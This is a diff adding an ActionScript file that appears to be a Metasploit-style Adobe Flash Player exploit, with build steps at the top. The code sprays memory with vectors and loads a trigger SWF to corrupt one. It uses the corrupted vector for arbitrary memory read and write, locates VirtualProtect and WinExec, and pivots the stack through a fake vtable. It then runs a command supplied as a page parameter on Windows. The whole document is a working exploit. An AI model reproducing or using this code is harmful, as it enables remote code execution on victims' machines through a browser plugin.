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| 1 | +// Build how to: |
| 2 | +// 1. Download the AIRSDK, and use its compiler. |
| 3 | +// 2. Download the Flex SDK (4.6) |
| 4 | +// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs) |
| 5 | +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) |
| 6 | +// 4. Build with: mxmlc -o msf.swf Msf.as |
| 7 | + |
| 8 | +// It uses original code from @hdarwin89 for exploitation using ba's and vectors |
| 9 | + |
| 10 | +package |
| 11 | +{ |
| 12 | + import flash.utils.* |
| 13 | + import flash.display.* |
| 14 | + import flash.system.* |
| 15 | + import mx.utils.Base64Decoder |
| 16 | + |
| 17 | + public final class Msf extends Sprite { |
| 18 | + private var interval_id:uint; |
| 19 | + |
| 20 | + private var trigger_swf:String = "" |
| 21 | + |
| 22 | + private var b64:Base64Decoder = new Base64Decoder(); |
| 23 | + private var payload:String = "" |
| 24 | + |
| 25 | + private var spray:Vector.<Object> = new Vector.<Object>(89698 + 100) |
| 26 | + private var corrupted_index:uint = 0 |
| 27 | + private var restore_required:Boolean = false |
| 28 | + |
| 29 | + private var uv:Vector.<uint> |
| 30 | + private var ba:ByteArray = new ByteArray() |
| 31 | + private var stack:Vector.<uint> = new Vector.<uint>(0x6400) |
| 32 | + private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400) |
| 33 | + |
| 34 | + public function Msf() { |
| 35 | + b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) |
| 36 | + payload = b64.toByteArray().toString(); |
| 37 | + trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr |
| 38 | + |
| 39 | + ba.endian = "littleEndian" |
| 40 | + ba.length = 1024 |
| 41 | + ba.writeUnsignedInt(0xdeedbeef) |
| 42 | + ba.position = 0 |
| 43 | + |
| 44 | + var i:uint = 0 |
| 45 | + |
| 46 | + while (i < 89698) { |
| 47 | + spray[i] = new Vector.<uint>(1014) |
| 48 | + spray[i][0] = 0xdeadbeef |
| 49 | + spray[i][1] = 0xdeedbeef |
| 50 | + spray[i][2] = i |
| 51 | + spray[i][29] = 0x1a1e1429 |
| 52 | + i++ |
| 53 | + } |
| 54 | + |
| 55 | + for(i = 0; i < 89698; i = i + 1) { |
| 56 | + spray[i].length = 0x1e |
| 57 | + } |
| 58 | + |
| 59 | + for(i = 0; i < 100; i = i + 1) { |
| 60 | + spray[i + 89698] = new Vector.<Object>(1014) |
| 61 | + spray[i + 89698][0] = ba |
| 62 | + spray[i + 89698][1] = this |
| 63 | + spray[i + 89698][2] = stack |
| 64 | + spray[i + 89698][3] = payload_space |
| 65 | + } |
| 66 | + |
| 67 | + for(i = 0; i < 100; i = i + 1) { |
| 68 | + spray[i + 89698].length = 114 |
| 69 | + } |
| 70 | + |
| 71 | + var trigger_byte_array:ByteArray = createByteArray(trigger_swf) |
| 72 | + trigger_byte_array.endian = Endian.LITTLE_ENDIAN |
| 73 | + trigger_byte_array.position = 0 |
| 74 | + |
| 75 | + // Trigger corruption |
| 76 | + var trigger_loader:Loader = new Loader(); |
| 77 | + trigger_loader.loadBytes(trigger_byte_array); |
| 78 | + |
| 79 | + interval_id = setTimeout(exploit, 2000) |
| 80 | + } |
| 81 | + |
| 82 | + public function createByteArray(hex_string:String) : ByteArray { |
| 83 | + var byte:String = null; |
| 84 | + var byte_array:ByteArray = new ByteArray(); |
| 85 | + var hex_string_length:uint = hex_string.length; |
| 86 | + var i:uint = 0; |
| 87 | + while(i < hex_string_length) |
| 88 | + { |
| 89 | + byte = hex_string.charAt(i) + hex_string.charAt(i + 1); |
| 90 | + byte_array.writeByte(parseInt(byte,16)); |
| 91 | + i = i + 2; |
| 92 | + } |
| 93 | + return byte_array; |
| 94 | + } |
| 95 | + |
| 96 | + public function exploit():void { |
| 97 | + clearTimeout(interval_id) |
| 98 | + |
| 99 | + for(var i:uint = 0; i < spray.length; i = i + 1) { |
| 100 | + if (spray[i].length != 0x1e) { |
| 101 | + corrupted_index = corrupt_vector_uint(i) |
| 102 | + restore_required = true |
| 103 | + uv = spray[corrupted_index] |
| 104 | + uv[0] = 0x1a1e3000 // We're being confident about the spray for exploitation anyway :-) |
| 105 | + control_execution() |
| 106 | + if (restore_required) { |
| 107 | + restore_vector_uint() |
| 108 | + } |
| 109 | + break; |
| 110 | + } |
| 111 | + } |
| 112 | + } |
| 113 | + |
| 114 | + // make it better, search and return error if it doesn't work :-) |
| 115 | + public function corrupt_vector_uint(index:uint):uint { |
| 116 | + spray[index][0x3fe] = 0xffffffff |
| 117 | + return spray[index][0x402] |
| 118 | + } |
| 119 | + |
| 120 | + public function restore_vector_uint():void { |
| 121 | + var atom:uint = spray[corrupted_index][0x3fffffff] |
| 122 | + spray[corrupted_index][0x3ffffbff] = atom |
| 123 | + spray[corrupted_index][0x3ffffbfe] = 0x1e |
| 124 | + // Restore vector corrupted by hand |
| 125 | + spray[corrupted_index][0x3ffffffe] = 0x1e |
| 126 | + } |
| 127 | + |
| 128 | + public function control_execution():void { |
| 129 | + // Use the corrupted Vector<uint> to search saved addresses |
| 130 | + var object_vector_pos:uint = search_object_vector() |
| 131 | + if (object_vector_pos == 0xffffffff) { |
| 132 | + return |
| 133 | + } |
| 134 | + |
| 135 | + var byte_array_object:uint = uv[object_vector_pos] - 1 |
| 136 | + var main:uint = uv[object_vector_pos + 1] - 1 |
| 137 | + var stack_object:uint = uv[object_vector_pos + 2] - 1 |
| 138 | + var payload_space_object:uint = uv[object_vector_pos + 3] - 1 |
| 139 | + |
| 140 | + // Use the corrupted Vector<uint> to disclose arbitrary memory |
| 141 | + var buffer_object:uint = vector_read(byte_array_object + 0x40) |
| 142 | + var buffer:uint = vector_read(buffer_object + 8) |
| 143 | + var stack_address:uint = vector_read(stack_object + 0x18) |
| 144 | + var payload_address:uint = vector_read(payload_space_object + 0x18) |
| 145 | + var vtable:uint = vector_read(main) |
| 146 | + |
| 147 | + // Set the new ByteArray length |
| 148 | + ba.endian = "littleEndian" |
| 149 | + ba.length = 0x500000 |
| 150 | + |
| 151 | + // Overwite the ByteArray data pointer and capacity |
| 152 | + var ba_array:uint = buffer_object + 8 |
| 153 | + var ba_capacity:uint = buffer_object + 16 |
| 154 | + vector_write(ba_array) |
| 155 | + vector_write(ba_capacity, 0xffffffff) |
| 156 | + |
| 157 | + // restoring the corrupted vector length since we don't need it anymore |
| 158 | + restore_vector_uint() |
| 159 | + restore_required = false |
| 160 | + |
| 161 | + var flash:uint = base(vtable) |
| 162 | + var winmm:uint = module("winmm.dll", flash) |
| 163 | + var kernel32:uint = module("kernel32.dll", winmm) |
| 164 | + var virtualprotect:uint = procedure("VirtualProtect", kernel32) |
| 165 | + var winexec:uint = procedure("WinExec", kernel32) |
| 166 | + var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) |
| 167 | + var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) |
| 168 | + |
| 169 | + // Continuation of execution |
| 170 | + byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable |
| 171 | + byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main |
| 172 | + byte_write(0, "\x89\x03", false) // mov [ebx], eax |
| 173 | + byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret |
| 174 | + |
| 175 | + // Put the payload (command) in memory |
| 176 | + byte_write(payload_address + 8, payload, true); // payload |
| 177 | + |
| 178 | + // Put the fake vtabe / stack on memory |
| 179 | + byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... |
| 180 | + byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] |
| 181 | + byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot |
| 182 | + byte_write(0, virtualprotect) |
| 183 | + |
| 184 | + // VirtualProtect |
| 185 | + byte_write(0, winexec) |
| 186 | + byte_write(0, buffer + 0x10) |
| 187 | + byte_write(0, 0x1000) |
| 188 | + byte_write(0, 0x40) |
| 189 | + byte_write(0, buffer + 0x8) // Writable address (4 bytes) |
| 190 | + |
| 191 | + // WinExec |
| 192 | + byte_write(0, buffer + 0x10) |
| 193 | + byte_write(0, payload_address + 8) |
| 194 | + byte_write(0) |
| 195 | + |
| 196 | + byte_write(main, stack_address + 0x18000) // overwrite with fake vtable |
| 197 | + |
| 198 | + toString() // call method in the fake vtable |
| 199 | + } |
| 200 | + |
| 201 | + private function search_object_vector():uint { |
| 202 | + var i:uint = 0; |
| 203 | + while (i < 89698 * 1024){ |
| 204 | + if (uv[i] == 114) { |
| 205 | + return i + 1; |
| 206 | + } |
| 207 | + i++ |
| 208 | + } |
| 209 | + return 0xffffffff |
| 210 | + } |
| 211 | + |
| 212 | + // Methods to use the corrupted uint vector |
| 213 | + |
| 214 | + private function vector_write(addr:uint, value:uint = 0):void |
| 215 | + { |
| 216 | + var pos:uint = 0 |
| 217 | + |
| 218 | + if (addr > uv[0]) { |
| 219 | + pos = ((addr - uv[0]) / 4) - 2 |
| 220 | + } else { |
| 221 | + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 |
| 222 | + } |
| 223 | + |
| 224 | + uv[pos] = value |
| 225 | + } |
| 226 | + |
| 227 | + private function vector_read(addr:uint):uint |
| 228 | + { |
| 229 | + var pos:uint = 0 |
| 230 | + |
| 231 | + if (addr > uv[0]) { |
| 232 | + pos = ((addr - uv[0]) / 4) - 2 |
| 233 | + } else { |
| 234 | + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 |
| 235 | + } |
| 236 | + |
| 237 | + return uv[pos] |
| 238 | + } |
| 239 | + |
| 240 | + // Methods to use the corrupted byte array for arbitrary reading/writing |
| 241 | + |
| 242 | + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void |
| 243 | + { |
| 244 | + if (addr) ba.position = addr |
| 245 | + if (value is String) { |
| 246 | + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) |
| 247 | + if (zero) ba.writeByte(0) |
| 248 | + } else ba.writeUnsignedInt(value) |
| 249 | + } |
| 250 | + |
| 251 | + private function byte_read(addr:uint, type:String = "dword"):uint |
| 252 | + { |
| 253 | + ba.position = addr |
| 254 | + switch(type) { |
| 255 | + case "dword": |
| 256 | + return ba.readUnsignedInt() |
| 257 | + case "word": |
| 258 | + return ba.readUnsignedShort() |
| 259 | + case "byte": |
| 260 | + return ba.readUnsignedByte() |
| 261 | + } |
| 262 | + return 0 |
| 263 | + } |
| 264 | + |
| 265 | + // Methods to search the memory with the corrupted byte array |
| 266 | + |
| 267 | + private function base(addr:uint):uint |
| 268 | + { |
| 269 | + addr &= 0xffff0000 |
| 270 | + while (true) { |
| 271 | + if (byte_read(addr) == 0x00905a4d) return addr |
| 272 | + addr -= 0x10000 |
| 273 | + } |
| 274 | + return 0 |
| 275 | + } |
| 276 | + |
| 277 | + private function module(name:String, addr:uint):uint |
| 278 | + { |
| 279 | + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) |
| 280 | + var i:int = -1 |
| 281 | + while (true) { |
| 282 | + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) |
| 283 | + if (!entry) throw new Error("FAIL!"); |
| 284 | + ba.position = addr + entry |
| 285 | + var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); |
| 286 | + if (dll_name == name.toUpperCase()) { |
| 287 | + break; |
| 288 | + } |
| 289 | + } |
| 290 | + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); |
| 291 | + } |
| 292 | + |
| 293 | + private function procedure(name:String, addr:uint):uint |
| 294 | + { |
| 295 | + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) |
| 296 | + var numberOfNames:uint = byte_read(eat + 0x18) |
| 297 | + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) |
| 298 | + var addressOfNames:uint = addr + byte_read(eat + 0x20) |
| 299 | + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) |
| 300 | + |
| 301 | + for (var i:uint = 0; ; i++) { |
| 302 | + var entry:uint = byte_read(addressOfNames + i * 4) |
| 303 | + ba.position = addr + entry |
| 304 | + if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break |
| 305 | + } |
| 306 | + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) |
| 307 | + } |
| 308 | + |
| 309 | + private function gadget(gadget:String, hint:uint, addr:uint):uint |
| 310 | + { |
| 311 | + var find:uint = 0 |
| 312 | + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) |
| 313 | + var value:uint = parseInt(gadget, 16) |
| 314 | + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break |
| 315 | + return addr + i |
| 316 | + } |
| 317 | + } |
| 318 | +} |
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